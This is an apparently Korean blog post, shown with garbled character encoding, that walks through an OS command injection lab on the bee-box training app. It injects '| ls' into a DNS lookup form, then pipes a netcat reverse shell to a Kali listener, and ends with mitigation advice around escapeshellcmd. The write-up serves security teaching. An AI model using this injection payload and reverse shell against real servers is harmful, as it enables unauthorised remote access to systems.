์ƒˆ์†Œ์‹

Game/Bee-box

[Bee-box] ๊ธฐํƒ€ ์ธ์ ์…˜ ๊ณต๊ฒฉ- OS ์ปค๋งจ๋“œ ์ธ์ ์…˜

  • -
๋ฐ˜์‘ํ˜•

iframe ์ธ์ ์…˜ ์‹ค์Šต์— ์ด์–ด์„œ,

์˜ค๋Š˜์€ ์ธ์ ์…˜ ๊ธฐ๋ฒ• ์ค‘ OS ์ปค๋งจ๋“œ ์ธ์ ์…˜์„ ์‹ค์Šตํ•ด๋ณผ๊ฒŒ์š”.

์‹ค์Šตํ•˜๋Š” ๋ชจ๋“  ๊ณต๊ฒฉ์€ ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•˜์‹œ๋ฉด ์•ˆ๋ฉ๋‹ˆ๋‹ค.

ํ—ˆ์šฉ๋ฐ›์ง€ ์•Š์€ ์„œ๋น„์Šค ๋Œ€์ƒ์— ํ•ดํ‚น์„ ์‹œ๋„ํ•˜๋Š” ํ–‰๋™์€ ๊ธˆ์ง€ํ•˜๋ฉฐ,

๋ชจ๋“  ๋ฒ•์  ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์žˆ๋Š” ๊ฒƒ์„ ๋ช…์‹ฌํ•ด์ฃผ์„ธ์š”


 

๋จผ์ € ์‹ค์Šตํ•˜๊ธฐ ์ „์— ๊ฐ„๋‹จํ•˜๊ฒŒ OS Command Injection์— ๊ณต๊ฒฉ ํ๋ฆ„๋„๋ฅผ ์•Œ์•„๋ณด๊ณ  ์‹œ์ž‘ํ•˜๋„๋ก ํ• ๊ป˜์š”.

 

์ปค๋งจ๋“œ ์ธ์ ์…˜์ด๋ž€ ์ทจ์•ฝํ•œ ๋ณ€์ˆ˜๋กœ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์„œ๋ฒ„ ์šด์˜์ฒด์ œ์— ์ ‘๊ทผํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค.

 

๋ณดํ†ต ์›น ํŽ˜์ด์ง€์—์„œ ์„œ๋ฒ„์˜ ์‹œ์Šคํ…œ ์…ธ์„ ํ˜ธ์ถœํ•  ๋•Œ, ๊ด€๋ฆฌ์ž๊ฐ€ ์˜๋„ํ•œ ๋ช…๋ น์–ด๊ฐ€ ์•„๋‹Œ 

๋‹ค๋ฅธ ๋ช…๋ น์–ด๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์„œ๋ฒ„ ์ •๋ณด๋ฅผ ์•Œ์•„๋‚ด๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค.

 

 

'commandi.php'๋Š” ์ž…๋ ฅํ•œ ์ฃผ์†Œ์˜ DNS ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ DNS๋ฅผ ์กฐํšŒํ•˜๋Š” ๋ช…๋ น์–ด์ธ nslookup์„ ์‚ฌ์šฉํ•˜์ฃ !

 

 

์ž ๊ทธ๋Ÿผ Command Injection์„ ์‹œ์ž‘ํ•ด๋ณผ๊ป˜์š”!

 

๋‚œ์ด๋„ ํ•˜

 

๋จผ์ € low๋‹จ๊ณ„๋กœ ๋“ค์–ด๊ฐ€์ค๋‹ˆ๋‹ค.

 

 

๋“ค์–ด๊ฐ€๋ณด๋ฉด

 

 

์ด๋Ÿฐํ™”๋ฉด์ด ๋œจ์ฃ . 

๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ…์ŠคํŠธ ํ•„๋“œ์— ํŒŒ์ดํ”„ ๋ผ์ธ๊ณผ ํ•จ๊ป˜ ์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅ ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ์š”.

์—ฌ๊ธฐ์„œ๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๋ชฉ๋ก์„ ํ‘œ์‹œํ•˜๋Š” ๋ช…๋ น์–ด ' ls '๋ฅผ ์‚ฌ์šฉํ•ด์ค๋‹ˆ๋‹ค.

 

ํŒŒ์ดํ”„๋ผ์ธ ' | ' ์€ ๋‘˜ ์ด์ƒ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋ฉฐ, ์•ž์˜ ๋ช…๋ น์„ ์‹คํ–‰ ํ›„ ํŒŒ์ดํ”„๋ผ์ธ ๋’ค ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œํ‚จ๋‹ค.

 

 

์ด๋ ‡๊ฒŒ ํŒŒ์ดํ”„๋ผ์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ OS ์ปค๋งจ๋“œ ์ธ์ ์…˜์˜ ๊ฒฐ๊ณผ๋กœ ์„œ๋ฒ„ ์‹œ์Šคํ…œ์˜ ๊ฐ€์žฅ ์ƒ์œ„์— ์žˆ๋Š”

๋””๋ ‰ํ„ฐ๋ฆฌ ์ •๋ณด๋ฅผ ์ถœ๋ ฅ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

์ด๋ ‡๊ฒŒ bin dev etc๋“ฑ ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๋“ค์ด ์ถœ๋ ฅ๋˜์—ˆ๋„ค์š”.

 

OS ์ปค๋งจ๋“œ ์ธ์ ์…˜์— ๋„ท์บฃ(Netcat) ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋น„๋ฐ•์Šค์˜ ์„œ๋ฒ„ ์ •๋ณด๋ฅผ ์™ธ๋ถ€์—์„œ ํŒŒ์•…ํ•  ์ˆ˜๊ฐ€ ์žˆ๋Š”๋ฐ์š”.

์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ฆฌ์Šค๋‹ ๋ชจ๋“œ๋กœ ๋„ท์บฃ์„ ์‹คํ–‰ํ•ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 


 

์‹ค์Šต์— ์•ž์„œ, ์ด ๊ณต๊ฒฉ์€ ์ดํ•ด๊ฐ€ ๋‹ค์†Œ ์–ด๋ ค์šด ๋ถ€๋ถ„์ด ์žˆ์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™์•„ 

์ดํ•ด๋ฅผ ๋•๊ธฐ์œ„ํ•ด ๊ทธ๋ฆผ์œผ๋กœ ๊ทธ๋ ค๋ณด์•˜์Šต๋‹ˆ๋‹ค. ์ดํ•ดํ•˜์‹œ๋Š”๋ฐ ์ฐธ๊ณ ํ•˜์‹œ๋ฉด ์ข‹์„ ๊ฒƒ ๊ฐ™์•„์š”.

 

 

 

 

 

 

์ด์–ด์„œ ์‹ค์Šต์„ ์‹œ์ž‘ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

๋จผ์ € ์นผ๋ฆฌ๋ฆฌ๋ˆ…์Šค๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•ด ์ค๋‹ˆ๋‹ค. (sudo su ๋กœ ์ ‘๊ทผํ•ด์ฃผ์„ธ์š”.)

 

 

-l ์€ ๋ฆฌ์Šค๋‹ ๋ชจ๋“œ, -p ๋Š” ํฌํŠธ๋ฒˆํ˜ธ๋ฅผ ์ง€์ •ํ•˜๋Š” ์˜ต์…˜์ž…๋‹ˆ๋‹ค.

 

์ž…๋ ฅ ํ›„ ๋‹ค์‹œ bee-box๋กœ ๋Œ์•„๊ฐ€์„œ commandi.php ํŽ˜์ด์ง€ ์ž…๋ ฅ๋ž€์— ๋„ท์บฃ์„ ์‹คํ–‰ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ  ์ž…๋ ฅํ•ด์ค๋‹ˆ๋‹ค.

 

 

| nc 192.168.150.129 7777-e "/bin/bash"  

 

๋„ท์บฃ๊ณผ ์—ฐ๊ฒฐํ•˜๊ธฐ ์œ„ํ•˜์—ฌ ์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค์˜ IP์ฃผ์†Œ์™€ ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ์ธ์ž ๊ฐ’์œผ๋กœ ์ž…๋ ฅํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

 

 

์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค์—์„œ ๋น„๋ฐ•์Šค ์„œ๋ฒ„์˜ ์ •๋ณด๋ฅผ ์•Œ๊ธฐ ์œ„ํ•˜์—ฌ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋ฏ€๋กœ -e์˜ต์…˜์œผ๋กœ bash์…ธ์„ ์‹คํ–‰ํ•ด์ค๋‹ˆ๋‹ค.

(๋ณด์•ˆ์ƒ -e ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์‹ค๋ฌด์—์„œ๋Š” telnet๋ช…๋ น์–ด๋กœ ์ด๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.)

 

ํ•˜์—ฌํŠผ! ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅ ํ›„ Lookup์„ ํด๋ฆญํ•˜๊ณ , ์นผ๋ฆฌ ๋ฆฌ๋ˆ…์Šค๋กœ ๋Œ์•„์™€์„œ ๋„ท์บฃ์„ ์‹คํ–‰ํ•œ ํ„ฐ๋ฏธ๋„์—

๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์„œ๋ฒ„ ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

ls์™€ ๊ฐ™์€ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•ด๋ณด์•˜๋”๋‹ˆ ์ œ๋Œ€๋กœ ์ •๋ณด๊ฐ€ ํ™•์ธ๋˜๋„ค์š”.

 

--> ์‹œ์Šคํ…œ ์นจํˆฌ ์„ฑ๊ณต

 

๋Œ€์‘๋ฐฉ์•ˆ

 

๋‚œ์ด๋„ ์ƒ์—์„œ๋Š” ํŒŒ์ดํ”„๋ผ์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ๋„ ์ธ์ ์…˜ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

commandi.php ํŽ˜์ด์ง€์˜ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด

 

 

์ด๋ ‡๊ฒŒ commandi_check_2๋ผ๋Š” ํ•จ์ˆ˜๋กœ ์šฐํšŒ๋ฅผ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

functions_external.php ์— ์ •์˜๋˜์–ด์žˆ๋Š” ํ•จ์ˆ˜ commandi_check_2 ์„ ํ™•์ธํ•ด๋ณด์•˜๋”๋‹ˆ 

escapeshellcmd ํ•จ์ˆ˜๋กœ ์šฐํšŒํ•˜๊ณ  ์žˆ๋„ค์š”.

 

escapeshellcmd  ==> ์‹œ์Šคํ…œ ์…ธ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜ ๋ฌธ์ž์— ๋ฐฑ์Šฌ๋ž˜์‹œ๋ฅผ ๋ถ™์—ฌ

๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๋„๋ก ๋ฐฉ์–ดํ•ด์ค๋‹ˆ๋‹ค.

์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์šฐํšŒ ๋ฌธ์ž๋Š” ' #, &, ;, ', |, *, ?, ~, <, >, ^, (, ), [, ], {, }, $, \, \x0A, \xFF, ., ', " ' ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์™ธ๋ถ€์—์„œ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•˜๋Š”๊ฒŒ ๊ฐ€์žฅ ์ข‹์€ ๋Œ€์‘๋ฐฉ์•ˆ ์ด์ง€๋งŒ ,

๋ถ€๋“์ด ํ•˜๊ฒŒ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ์•ผ ํ•  ๊ฒฝ์šฐ์—๋Š” ํ•„์š”ํ•œ ๋ช…๋ น์–ด ์ด์™ธ์— ๋‹ค๋ฅธ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋„๋ก 

์œ„์™€ ๊ฐ™์€ ๋ฌธ์ž๋“ค์„ ์šฐํšŒํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์‘ํ•˜์—ฌ ์ค๋‹ˆ๋‹ค!

๋ฐ˜์‘ํ˜•
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.